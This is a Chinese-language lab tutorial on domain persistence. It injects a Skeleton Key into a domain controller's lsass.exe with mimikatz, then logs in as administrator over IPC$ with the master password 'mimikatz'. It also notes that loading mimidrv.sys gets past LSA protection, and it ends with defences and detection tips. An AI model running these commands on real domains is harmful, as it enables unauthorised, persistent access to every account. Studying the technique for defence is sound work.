域渗透权限维持之Skeleton_Key

前言

随着企业信息化程度的加深,内网环境逐渐成为攻击者的关注的重点目标,在内网渗透的过程中权限维持是不可或缺的关键环节之一,它往往决定了攻击者能否在目标系统中长时间潜伏,获取敏感信息或者造成更大范围的破坏。

SkeletonKey是一种能在不重启域控制器的情况下,使所有域用户使用统一密码登录的技术。通过将SkeletonKey注入lsass进程,即使在LSA保护开启的情况下,也能通过加载特定驱动绕过限制。

使用 Skeleton Key(万能密码),可以对域内权限进行持久化操作。

使用 mimikatz 完成注入 Skeleon Key 的操作,将 Skeleton Key 注入域控制器的 lsass.exe 进程。

简介

Skeleton Key(万能密码),是一种可以对域内权限进行持久化的操作,在获取域控制器权限的基础上,通过将Skeleton Key注入到lsass进程,无需重启域控即可生效,而且能够在不影响当前域用户正常登录的情况下,让所有域用户使用同一个万能密码进行登录,它只存在于内存中,如果域控制器重启,注入的 Skeleton Key 将会失效。

实验环境

  • 域名:god.org

域控制器:

  • 主机名:owa
  • IP地址:192.168.52.138
  • 用户名:administrator
  • 密码:hongrisec@2025

域成员服务器:

  • 主机名:stu1
  • IP地址:192.168.52.143
  • 用户名:god\test2
  • 密码:hongrisec@2025

利用过程

Mimikatz 中使用 Skeleton Key

尝试以当前登录用户身份(当前用户身份是192.168.52.143–win7机器下的test2用户)列出域控制器 C 盘共享目录中的文件

1
2
## win+r + cmd 输入下面命令
dir \\192.168.52.138\c$

因为此时是一个普通的域用户身份,所以系统提示权限不足!

这个时候使用域管理员账号和密码进行连接:

连接成功,这个时候就列出了域控制器 C 盘的共享目录。

之后在域控制器中以管理员权限打开 mimikatz,输入命令将 Skeleton Key 注入域控制器的 lsass.exe 进程:

切换到域控制器中以管理员身份运行

1
2
3
4
5
6
7
8
9
10
11
切换到192.168.52.138机器,默认是使用管理员登录
win+r 输入cmd
## 切换目录
cd C:\mimikatz\x64
# 输入
##开启mimikatz
mimikatz.exe
## 提升权限
privilege::debug
# 注入 skeleton key
misc::skeleton

这个时候系统提示 Skeleton Key 已经注入成功,此时会在域内的所有账号中添加一个 Skeleton Key,其密码默认为:“mimikatz”。

接下来就可以了使用域内任意用户的身份配合 Skeleton Key 进行域内身份授权验证了。

在不使用域管理员原始密码的情况下,使用注入的 Skeleton Key,同样可以成功连接系统:

切换为我们的普通用户,在192.168.52.143上

1
2
3
4
5
6
# 查看现有 ipc$
net use
# 将之前建立的 ipc$ 删除
net use \\192.168.52.138\ipc$ /del /y
net use
#会显示 没有连接会被记录


输入命令,使用域管理员账号和 Skeleton Key 与域控制器建立 ipc$:

1
2
3
## 这里\\后是主机名,最前面有提到过
## 在这个终端下继续输入
net use \\owa\ipc$ "mimikatz" /user:god\administrator

建立成功后这样就可以列出域控制器的共享目录了!

Skeleton Key 防御措施

  • 域管理员用户要设置强密码,确保恶意代码不会在域控制器中执行。
  • 在所有域用户中启用双因子认证,例如智能卡认证。
  • 启动应用程序白名单(例如 AppLocker),以限制 mimikatz 在域控制器中的运行。

PS:因为 Skeleton Key 是被注入到 lsass.exe 进程的,所以它只存在于内存中,如果域控制器重启,注入的 Skeleton Key 将会失效。

绕过LSA保护

微软在2014年3月12日添加了LSA保护策略,用来防止对进程lsass.exe的代码注入,这样一来就无法使用mimikatz对lsass.exe进行注入。启用 LSA 保护,只需要在注册表中添加一个值,重启服务器即可。

在win2012上,mimikatz通过导入驱动文件mimidrv.sys后,可绕过LSA 保护。

检测方法

(1)检测注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa ,是否开启PPL保护。

(2)当攻击者尝试加载mimidrv.sys驱动时,将会生成4697事件,这个行为可作为安全日志中最为明显的特征进行识别检测。


域渗透权限维持之Skeleton_Key
http://example.com/2025/08/04/域渗透权限维持Skeleton_Key/
作者
奇怪的奇怪
发布于
2025年8月4日
许可协议